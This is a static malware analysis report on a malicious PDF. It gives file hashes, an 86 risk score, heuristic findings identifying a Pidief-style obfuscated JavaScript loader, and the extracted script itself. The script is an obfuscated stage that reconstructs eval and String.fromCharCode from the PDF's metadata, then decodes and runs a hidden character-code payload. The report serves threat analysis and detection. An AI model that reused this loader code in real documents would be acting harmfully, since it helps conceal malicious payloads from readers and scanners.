Malicious PDF — malware analysis report

Static analysis result for SHA-256 417b656b2b4b436e…

MALICIOUS

PDF

44.9 KB Authoring application: substr First seen: 2026-05-09
MD5: 9c81b88aeb9a2065a3b7ccbe83214b3b SHA-1: 5b8a11c7123b9ce91a4e03a8615a8f0827944028 SHA-256: 417b656b2b4b436ed9c9e477a830670f90bca6c736a4b0f057293e9febfbe843
86 Risk Score

Malware Insights

The PDF contains embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. A machine learning classifier also flagged this PDF as highly malicious. The embedded JavaScript is likely responsible for executing malicious actions, such as downloading a second-stage payload or exploiting vulnerabilities within the PDF reader. No specific IOCs were extracted from the script content.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB0C5 479 bytes
SHA-256: f9adf2b0c09cbab5a2b6eb804e43b87778f5504a070cb59f8875deee84c6352a
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+'v'+a[2]+t[0];
e=v[v]()[s];
aefvj=e(v[4]+'i'.concat(v[4],t));
q=aefvj[v](a.length-7,a.length+1);
d='String';
d+='.fr';
d+='o'+q;
mam=e(e('d'));
sub=v[0];
sub+='ubject';
q=aefvj[e('v')](t.length+12)[v[0]+e(sub)+'t']('c');
k=q[t[0].concat('eng'+'t'+'h')];
i=t.length-2;
for(;i!==k;){
	hjg = 1*(q[i]);
	i++;
	hjg -= (-1)*(q[i]);
	s2 += mam(hjg);
	i++;
}
e(s2);

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